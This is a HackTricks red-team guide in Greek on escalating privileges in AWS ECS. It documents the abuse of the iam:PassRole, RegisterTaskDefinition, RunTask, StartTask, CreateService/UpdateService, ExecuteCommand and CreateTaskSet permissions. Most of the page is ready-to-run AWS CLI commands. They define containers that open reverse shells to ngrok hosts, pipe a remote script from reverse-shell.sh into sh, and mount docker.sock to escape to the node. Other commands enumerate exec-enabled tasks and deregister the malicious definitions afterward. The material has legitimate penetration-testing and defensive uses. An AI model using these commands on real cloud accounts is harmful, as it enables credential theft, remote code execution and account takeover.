AWS - ECS Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον επαγγελματία με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

ECS

Περισσότερες πληροφορίες για το ECS στο:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Ένας επιτιθέμενος που καταχράται την άδεια iam:PassRole, ecs:RegisterTaskDefinition και ecs:RunTask στο ECS μπορεί να δημιουργήσει μια νέα ορισμού εργασίας με ένα κακόβουλο container που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων σε διαφορετικό ρόλο ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask στο ECS μπορεί να δημιουργήσει μια νέα ορισμού εργασίας με ένα κακόβουλο container που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει. Ωστόσο, σε αυτήν την περίπτωση, χρειάζεται να υπάρχει μια περίπτωση container για να εκτελεστεί ο κακόβουλος ορισμός εργασίας.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων σε οποιονδήποτε ρόλο ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ή ecs:CreateService στο ECS μπορεί να δημιουργήσει μια νέα ορισμού εργασίας με ένα κακόβουλο container που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει δημιουργώντας ένα νέο service με τουλάχιστον 1 εκτελούμενη εργασία.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων σε οποιονδήποτε ρόλο ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Αυτό το σενάριο είναι παρόμοιο με τα προηγούμενα, αλλά χωρίς την άδεια iam:PassRole. Αυτό είναι ακόμα ενδιαφέρον, επειδή αν μπορείτε να εκτελέσετε έναν αυθαίρετο container, ακόμα κι αν δεν έχει ρόλο, μπορείτε να εκτελέσετε ένα προνομιούχο container για να δραπετεύσετε στον κόμβο και να κλέψετε τον ρόλο EC2 IAM και τους άλλους ρόλους των ECS containers που εκτελούνται στον κόμβο. Μπορείτε ακόμα να αναγκάσετε άλλες εργασίες να εκτελούνται μέσα στην EC2 instance που έχετε παραβιάσει για να κλέψετε τα διαπιστευτήριά τους (όπως συζητήθηκε στην ενότητα Ανέλιξη προνομίων στον κόμβο).

Αυτή η επίθεση είναι δυνατή μόνο εάν ο συστάδα ECS χρησιμοποιεί EC2 instances και όχι Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ένας επιτιθέμενος με τα δικαιώματα ecs:ExecuteCommand, ecs:DescribeTasks μπορεί να εκτελέσει εντολές μέσα σε ένα εκτελούμενο container και να αποστείλει τον ρόλο IAM που είναι συνδεδεμένος με αυτό (χρειάζεστε τα δικαιώματα describe επειδή είναι απαραίτητο να εκτελεστεί το aws ecs execute-command). Ωστόσο, για να γίνει αυτό, η περίπτωση του container πρέπει να εκτελεί τον ExecuteCommand agent (που από προεπιλογή δεν είναι ενεργοποιημένος).

Συνεπώς, ο επιτιθέμενος μπορεί να προσπαθήσει:

  • Να εκτελέσει μια εντολή σε κάθε εκτελούμενο container

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Εάν έχει το ecs:RunTask, εκτελέστε μια εργασία με την εντολή aws ecs run-task --enable-execute-command [...]

  • Εάν έχει το ecs:StartTask, εκτελέστε μια εργασία με την εντολή aws ecs start-task --enable-execute-command [...]

  • Εάν έχει το ecs:CreateService, δημιουργήστε έναν υπηρεσία με την εντολή aws ecs create-service --enable-execute-command [...]

  • Εάν έχει το ecs:UpdateService, ενημερώστε μια υπηρεσία με την εντολή aws ecs update-service --enable-execute-command [...]

Μπορείτε να βρείτε παραδείγματα αυτών των επιλογών στις προηγούμενες ενότητες προνομιούχου ανέλιξης ECS.

Πιθανές Επιπτώσεις: Ανέλιξη προνομιούχου ρόλου που είναι συνδεδεμένος με τους εμπορεύματα.

ssm:StartSession

Ελέγξτε στη σελίδα ανέλιξης ssm πώς μπορείτε να καταχραστείτε αυτήν την άδεια για να αναβαθμίσετε σε ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Ελέγξτε στη σελίδα ανέλιξης ec2 πώς μπορείτε να καταχραστείτε αυτές τις άδειες για να αναβαθμίσετε σε ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Είναι δυνατόν να καταχωρήσετε μια περίπτωση από διαφορετικό λογαριασμό AWS, έτσι ώστε οι εργασίες να εκτελούνται υπό μηχανές που ελέγχονται από τον επιτιθέμενο;;

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Δοκιμάστε αυτό

Ένας επιτιθέμενος με τις άδειες ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet και ecs:DescribeTaskSets μπορεί να δημιουργήσει ένα κακόβουλο σύνολο εργασιών για μια υπάρχουσα υπηρεσία ECS και να ενημερώσει το κύριο σύνολο εργασιών. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα μέσα στην υπηρεσία.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Πιθανές Επιπτώσεις: Εκτέλεση αυθαίρετου κώδικα στην επηρεαζόμενη υπηρεσία, με πιθανή επίδραση στη λειτουργικότητά της ή στη διαρροή ευαίσθητων δεδομένων.

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated